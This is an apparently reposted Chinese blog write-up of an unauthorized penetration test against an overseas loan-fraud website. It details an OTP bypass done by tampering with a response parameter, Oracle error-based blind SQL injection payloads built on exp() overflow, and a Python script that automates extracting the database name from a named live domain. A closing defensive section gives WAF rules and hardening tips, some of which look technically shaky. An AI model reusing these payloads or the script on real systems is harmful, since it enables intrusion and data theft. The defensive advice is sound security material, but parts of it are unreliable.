前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。还在学怎么挖通用漏洞和src吗?知识星球,续费也有优惠私聊~~想要入交流群在最下方,考安全证书请联系vx咨询。
引
言
贷款诈骗平台以“高额度低息”为诱饵,伪造正规金融机构资质,通过虚假贷款申请骗取用户个人信息及资金,常以手续费、保证金等名义诱导转账,最终卷款消失,导致受害者财产损失及数据泄露。
某境外贷款诈骗平台渗透测试实战
一、目标背景
本次渗透目标为某境外贷款诈骗网站(https://xxx.com/),经前期侦查发现:
-
网站注册流程存在明显安全缺陷 -
后端接口直接暴露SQL注入风险点 -
采用Oracle数据库且存在敏感信息泄露特征
二、漏洞挖掘过程
(一)任意用户注册漏洞
利用链分析:
-
注册接口强制要求台湾地区身份证格式 -
通过身份证生成器构造虚拟身份信息 -
关键绕过步骤: -
注册阶段拦截响应包 -
修改 rtnCode
参数为0
绕过OTP二次认证 -
登录密码设置环节同样通过参数篡改绕过验证
-
该站点有注册功能,但是账号需要严格按照弯弯的sfz格式 -
这里找了个弯弯sfz生成器(自取):https://people.debian.org/~paulliu/ROCid.html 拿生成的虚拟sfz尝试注册 -
来到OTP认证(无脑绕了),手机号和验证码随便填->抓包,拦截响应包,修改rtnCode参数为0,绕过OTP认证
-
填完之后抓包(老样子改参数为0)
技术细节:
POST /register HTTP/1.1Host: xxx.comContent-Type: application/x-www-form-urlencodedusername=test&password=123456&rtnCode=0&otp_code=123456
(二)SQL注入漏洞
发现过程:
-
在敏感接口探测中发现参数注入点 -
初步验证发现单引号引发报错 -
通过盲注测试确认Oracle数据库特征
关键注入语句:
-
再续前缘,成功进入后台后点几个功能点,发现都是调用其他域名的接口,其中有个接口存在SQL注入(xia_SQL插件nb)添加一个单引号报错
-
添加两个单引号正常(初步判断存在SQL,尝试注入)
-
最终经过测试,下面返回正常,代表执行e的290次方, || 为连接符
-
291次方太大就会报错,这里感觉是orcale数据库
-
开始测试注入函数,if()函数不管怎么判断都返回相同内容(无法使用) -
这里decode()函数,同理,返回内容相同(无法判断)
-
尝试case when 正常应该是返回数据,不报错 case 1 when 1=1 then 1 else exp(291) end
-
这里换个写法就好了 case 1 when 1 then 1 else exp(291) end
-
将结果换成 case 1 when 2 then 1 else exp(291) end
验证下,没问题,存在SQL注入
-
尝试注user,先判断user长度(正确返回数据,不正确报错) case length(user) when 1 then 1 else exp(291) end
-
这里判断出user长度为7 case length(user) when 7 then 1 else exp(291) end
-
接着注user语句 case ascii(substr(user,1,1)) when 1 then 1 else exp(291) end
要不说是弯弯,真是一点危险函数没过滤,跑出来第一个字符ascii为70(后续就直接写脚本跑)
-- 判断数据库长度?CUST_ID=U193683453'||case when length((selectglobal_namefromglobal_name))=7then1elseexp(709) end||'-- 提取数据库名称字符?CUST_ID=U193683453'||casewhenascii(substr((selectglobal_namefromglobal_name),1,1))=70then1elseexp(709) end||'
防御绕过技巧:
-
使用 exp()
函数代替传统延时注入 -
通过数学溢出错误(ORA-01426)判断条件成立 -
动态调整ASCII码范围规避过滤
三、技术细节分析
(一)请求伪造技术
关键请求头构造:
Headers:Sec-Ch-Ua: "Not)A;Brand";v="99", "Microsoft Edge";v="127", "Chromium";v="127"X-Client-Date: 2025-02-21T08:06:30.413ZAuthorization: Bearer {动态令牌}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0
动态参数处理:
-
每10分钟更新一次 X-Client-Date
时间戳 -
Authorization
令牌通过前端JS动态生成 -
使用Chrome浏览器User-Agent伪装客户端环境
(二)数据提取方法
自动化脚本实现:
import requestsimport timeurl = "https://lnunicomiot.com/api/v1/query"headers = {"Authorization": "Bearer {token}","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0","Content-Type": "application/json"}defextract_db_info(): db_length = 0# 动态计算数据库名长度whileTrue: payload = f"?CUST_ID=U193683453'||case when length((select global_name from global_name))={db_length} then 1 else exp(709) end||'" response = requests.get(url + payload, headers=headers)if"ORA-01426"notin response.text:break db_length +=1return db_lengthdefextract_chars(length): db_name = ""for i in range(1, length+1):for code in range(32, 127): payload = f"?CUST_ID=U193683453'||case when ascii(substr((select global_name from global_name),{i},1))={code} then 1 else exp(709) end||'" response = requests.get(url + payload, headers=headers)if"ORA-01426"notin response.text: db_name += chr(code)breakreturn db_nameif __name__ == "__main__": db_len = extract_db_info() print(f"Database name length: {db_len}") db_name = extract_chars(db_len) print(f"Extracted DB name: {db_name}")
四、防御建议
(一)输入验证强化
-
对所有用户输入实施白名单过滤 -
特殊字符转义规则: ^[a-zA-Z0-9u4e00-u9fa5]{4,20}$
-
建立输入参数长度限制机制
(二)数据库加固方案
-
禁用高危函数: -- Oracle示例BEGIN DBMS_NETWORK_ACL_ADMIN.DISABLE_ACL('utl_http');END;
-
实施最小权限原则: REVOKECREATESESSIONFROMPUBLIC;GRANTCONNECT, RESOURCETO app_user;
(三)Web应用防护
-
部署WAF规则集: SecRule ARGS "@rx (exp|substr|length|global_name)" "id:1001,phase:2,block,msg:'SQL Injection Detected'"
-
启用Oracle安全审计: AUDIT EXECUTEANYPROCEDURE;AUDIT SELECTTABLE, UPDATETABLE, INSERTTABLE, DELETETABLE;
五、总结
本次渗透测试揭示了境外非法金融平台普遍存在的三大安全短板:
-
身份认证体系脆弱性(OTP绕过) -
数据库配置缺陷(敏感信息暴露) -
接口安全设计缺失(动态令牌未有效防护)
建议相关企业应建立纵深防御体系,重点加强API安全防护和输入验证机制。本文提供的攻击模拟可作为安全建设的参考基准。
原文始发于微信公众号(不秃头的安全):记对某境外贷款诈骗平台渗透测试实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论